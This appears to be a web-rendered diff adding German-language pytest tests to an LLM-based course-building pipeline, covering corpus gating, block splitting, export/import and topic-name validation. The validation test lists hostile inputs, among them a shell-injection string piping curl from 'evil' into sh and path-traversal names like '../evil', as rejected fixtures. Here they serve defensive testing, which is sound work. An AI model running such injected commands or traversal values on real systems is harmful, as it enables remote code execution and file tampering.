|
||||||
|
"""uni-Topic ohne bestätigten Punkt: kein Auto-Freeze, Gate blockt E1."""
|
||||||
|
topic = topic_anlegen("unileer", art="uni")
|
||||||
|
snap = tmp_path / "q.md"
|
||||||
|
snap.write_text("Nur Fülltext ohne lernbaren Punkt.", encoding="utf-8")
|
||||||
|
db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||||
|
snapshot=str(snap), hash="h", status="neu")
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
ctx.ebene = "korpus"
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll", lambda p: [])
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll-Konsens", lambda p: [])
|
||||||
|
await korpus.bauen(ctx)
|
||||||
|
assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "korpus"
|
||||||
|
assert korpus.gate(ctx) == "kein bestätigter Soll-Punkt"
|
||||||
|
|
||||||
|
|
||||||
async def test_thema_braucht_zwei_quellen(monkeypatch):
|
async def test_thema_braucht_zwei_quellen(monkeypatch):
|
||||||
topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2)
|
topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2)
|
||||||
x1 = _kandidat(topic, "X", q1)
|
x1 = _kandidat(topic, "X", q1)
|
||||||
|
|||||||
@@ -12,6 +12,62 @@ def _atom(topic, titel, ziel_id=None, soll_id=1):
|
|||||||
soll_id=soll_id, ziel_id=ziel_id, braucht=db.j([]))
|
soll_id=soll_id, ziel_id=ziel_id, braucht=db.j([]))
|
||||||
|
|
||||||
|
|
||||||
|
def _baustein_groessen(topic):
|
||||||
|
from collections import Counter
|
||||||
|
c = Counter(a["baustein_id"] for a in struktur._atome(topic))
|
||||||
|
return sorted(c.values())
|
||||||
|
|
||||||
|
|
||||||
|
async def test_band_split_43_atome():
|
||||||
|
"""Große Gruppe gleichverteilt splitten: jeder Baustein im Band 4–8."""
|
||||||
|
topic = topic_anlegen("split43")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||||
|
for i in range(43):
|
||||||
|
_atom(topic, f"A{i}", ziel, soll)
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "struktur"
|
||||||
|
struktur._bausteine_schneiden(ctx)
|
||||||
|
groessen = _baustein_groessen(topic)
|
||||||
|
assert sum(groessen) == 43
|
||||||
|
assert all(struktur.BAUSTEIN_MIN_ATOME <= n <= struktur.BAUSTEIN_MAX_ATOME
|
||||||
|
for n in groessen), groessen
|
||||||
|
assert "band" not in {b["art"] for b in struktur.messen(ctx)}
|
||||||
|
|
||||||
|
|
||||||
|
async def test_band_messen_konsistent_mit_schnitt():
|
||||||
|
"""Kleine Gruppe mergt trotz Summe > MAX (Split re-balanciert) → kein band-Befund;
|
||||||
|
eine einsame Kleingruppe ohne Level-Partner meldet ebenfalls nichts."""
|
||||||
|
topic = topic_anlegen("bandkon")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||||
|
z1 = db.insert("lernziele", topic=topic, text="Z1", soll_id=soll, status="aktiv")
|
||||||
|
z2 = db.insert("lernziele", topic=topic, text="Z2", soll_id=soll, status="aktiv")
|
||||||
|
for i in range(3):
|
||||||
|
_atom(topic, f"K{i}", z1, soll)
|
||||||
|
for i in range(13):
|
||||||
|
_atom(topic, f"G{i}", z2, soll)
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "struktur"
|
||||||
|
struktur._bausteine_schneiden(ctx)
|
||||||
|
assert all(4 <= n <= 8 for n in _baustein_groessen(topic))
|
||||||
|
assert "band" not in {b["art"] for b in struktur.messen(ctx)}
|
||||||
|
|
||||||
|
|
||||||
|
async def test_einsame_kleingruppe_kein_band():
|
||||||
|
topic = topic_anlegen("lone")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Z", soll_id=soll, status="aktiv")
|
||||||
|
for i in range(2):
|
||||||
|
_atom(topic, f"A{i}", ziel, soll)
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "struktur"
|
||||||
|
struktur._bausteine_schneiden(ctx)
|
||||||
|
assert "band" not in {b["art"] for b in struktur.messen(ctx)}
|
||||||
|
|
||||||
|
|
||||||
def test_topo_ordnung():
|
def test_topo_ordnung():
|
||||||
rang = {1: (0, 1), 2: (0, 2), 3: (0, 3)}
|
rang = {1: (0, 1), 2: (0, 2), 3: (0, 3)}
|
||||||
# 3 braucht 1, 2 braucht 3 → 1, 3, 2
|
# 3 braucht 1, 2 braucht 3 → 1, 3, 2
|
||||||
|
|||||||
49
tests/test_topics.py
Normal file
49
tests/test_topics.py
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
"""Sicherheit + Infra-Kleinkram: Topic-Namen-Validierung, jsonx-Fences,
|
||||||
|
Ledger-Timeouts, db.now-Format."""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
import config
|
||||||
|
import db
|
||||||
|
import jsonx
|
||||||
|
import ledger
|
||||||
|
import pytest
|
||||||
|
import transfer
|
||||||
|
from conftest import run_anlegen, topic_anlegen
|
||||||
|
|
||||||
|
|
||||||
|
def test_topic_name_ok():
|
||||||
|
assert config.topic_name_ok("aak")
|
||||||
|
assert config.topic_name_ok("algo-1_test")
|
||||||
|
assert config.topic_name_ok("Größe")
|
||||||
|
for boese in ("..", "a/b", "x;curl evil|sh", "-flag", "", "a.b", "../x", "a b", "a\tb"):
|
||||||
|
assert not config.topic_name_ok(boese), boese
|
||||||
|
|
||||||
|
|
||||||
|
def test_import_lehnt_boesen_topic_ab():
|
||||||
|
"""Manipulierter Export mit topic='../evil' → Abbruch vor rmtree, kein Eintrag."""
|
||||||
|
d = {"topic": "../evil", "topics": [{"name": "../evil"}]}
|
||||||
|
with pytest.raises(ValueError):
|
||||||
|
transfer.importieren(d)
|
||||||
|
assert not db.one("SELECT name FROM topics WHERE name=?", ("../evil",))
|
||||||
|
|
||||||
|
|
||||||
|
def test_jsonx_findet_json_im_zweiten_fence():
|
||||||
|
text = ("Beispiel:\n```python\nprint('hi')\n```\n"
|
||||||
|
"Antwort:\n```json\n[{\"a\": 1}]\n```")
|
||||||
|
assert jsonx.parse(text) == [{"a": 1}]
|
||||||
|
|
||||||
|
|
||||||
|
def test_ledger_timeouts_und_parse():
|
||||||
|
topic = topic_anlegen("led")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "timeout"})
|
||||||
|
ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "HTTP 429"})
|
||||||
|
ledger.log_call(run, ebene="e", stage="s", status="parse", meta={"err": "kaputt"})
|
||||||
|
z = ledger.kennzahlen(run)[0]
|
||||||
|
assert z["timeouts"] == 1 # nur der echte Timeout
|
||||||
|
assert z["fehler"] == 3 # infra(2) + parse(1)
|
||||||
|
|
||||||
|
|
||||||
|
def test_db_now_ist_zeitstempel():
|
||||||
|
assert re.match(r"^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$", db.now())
|
||||||
@@ -49,3 +49,26 @@ async def test_export_import_roundtrip():
|
|||||||
for feld in ("text_lang", "text_kompakt"):
|
for feld in ("text_lang", "text_kompakt"):
|
||||||
for m in re.findall(r"<!--\s*atom:\s*(\d+)\s*\|", s[feld] or ""):
|
for m in re.findall(r"<!--\s*atom:\s*(\d+)\s*\|", s[feld] or ""):
|
||||||
assert int(m) in atom_ids, f"toter Marker {m}"
|
assert int(m) in atom_ids, f"toter Marker {m}"
|
||||||
|
|
||||||
|
|
||||||
|
async def test_import_remappt_befunde_atom_ids():
|
||||||
|
"""Offene Fix-Aufträge nennen Atom-IDs im Klartext — nach Import müssen sie
|
||||||
|
auf die neu vergebenen IDs zeigen, nicht auf tote."""
|
||||||
|
topic = topic_anlegen("befunde-remap", art="thema")
|
||||||
|
pipeline.lauf_starten(topic)
|
||||||
|
await pipeline._laeufe[topic]
|
||||||
|
b = db.one("SELECT * FROM bausteine WHERE topic=? LIMIT 1", (topic,))
|
||||||
|
a = db.one("SELECT id FROM atome WHERE baustein_id=?", (b["id"],))
|
||||||
|
db.update("sections", "baustein_id", b["id"],
|
||||||
|
befunde=db.j([f"KRITISCH: Marker für Atom {a['id']} fehlt — exakt einfügen."]))
|
||||||
|
d = json.loads(json.dumps(transfer.export(topic)))
|
||||||
|
transfer.importieren(d)
|
||||||
|
atom_ids = {r["id"] for r in db.query("SELECT id FROM atome WHERE topic=?", (topic,))}
|
||||||
|
treffer = 0
|
||||||
|
for s in db.query("SELECT s.befunde FROM sections s JOIN bausteine b ON b.id=s.baustein_id"
|
||||||
|
" WHERE b.topic=?", (topic,)):
|
||||||
|
for auftrag in db.uj(s["befunde"]):
|
||||||
|
for m in re.findall(r"Atom (\d+)", str(auftrag)):
|
||||||
|
assert int(m) in atom_ids, f"toter Befund-Marker {m}"
|
||||||
|
treffer += 1
|
||||||
|
assert treffer >= 1 # der eingefügte Auftrag wurde geprüft
|
||||||
|
|||||||
Reference in New Issue
Block a user